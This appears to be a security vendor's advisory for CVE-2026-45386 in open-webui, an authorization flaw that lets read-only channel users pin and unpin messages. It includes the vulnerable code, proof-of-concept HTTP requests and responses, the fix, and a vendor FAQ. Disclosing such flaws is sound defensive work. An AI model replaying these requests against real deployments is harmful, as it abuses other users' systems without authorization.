CVE-2026-45386

Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.

Details

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218

@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])
async def pin_channel_message(
    request: Request,
    id: str,
    message_id: str,
    form_data: PinMessageForm,
    user=Depends(get_verified_user),
    db: Session = Depends(get_session),
):
    check_channels_access(request)
    channel = Channels.get_channel_by_id(id, db=db)
    if not channel:
        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)

    if channel.type in ['group', 'dm']:
        if not Channels.is_user_channel_member(channel.id, user.id, db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    else:
        if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

The channel_has_access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:

def channel_has_access(
    user_id: str,
    channel: ChannelModel,
    permission: str = 'read',  # 'read' or 'write'
    strict: bool = True,
    db: Optional[Session] = None,
) -> bool:
    if AccessGrants.has_access(
        user_id=user_id,
        resource_type='channel',
        resource_id=channel.id,
        permission=permission,
        db=db,
    ):
        return True
    # ...

The AccessGrant table distinguishes between read and write permission levels.

PoC

admin creates Standard Channel with Read-Only Access for test1 :

POST /api/v1/channels/create
Authorization: 
Content-Type: application/json

{
  "name": "pin-test-standard",
  "access_grants": [
    {
      "principal_type": "user",
      "principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
      "permission": "read"
    }
  ]
}

admin posts a Message in the Channel, and test1 has read permission only.

test1 attempts to Pin Message:

POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1_token>
Content-Type: application/json

{
  "is_pinned": true
}

{
  "id": "4797359b-aad5-4081-9617-e8ca58524a87",
  "user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
  "is_pinned": true,
  "pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
  "pinned_at": 1774716314908288719,
  "content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}

Successfully pinned admin's message. pinned_by records test1's user ID.

test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.

Read-only users can pin irrelevant messages, disrupting important information display in the channel .

CVE-2026-45386 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.5); upgrading removes the vulnerable code path.

Kodem intelligence

Change the Pin endpoint's permission check from read to write .

1. What is CVE-2026-45386? CVE-2026-45386 is a medium-severity security vulnerability in open-webui (pip), affecting versions <= 0.9.4. It is fixed in 0.9.5.
2. How severe is CVE-2026-45386? CVE-2026-45386 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45386? open-webui (pip) versions <= 0.9.4 is affected.
4. Is there a fix for CVE-2026-45386? Yes. CVE-2026-45386 is fixed in 0.9.5. Upgrade to this version or later.
5. Is CVE-2026-45386 exploitable, and should I be worried? Whether CVE-2026-45386 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45386 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45386? Upgrade open-webui to 0.9.5 or later.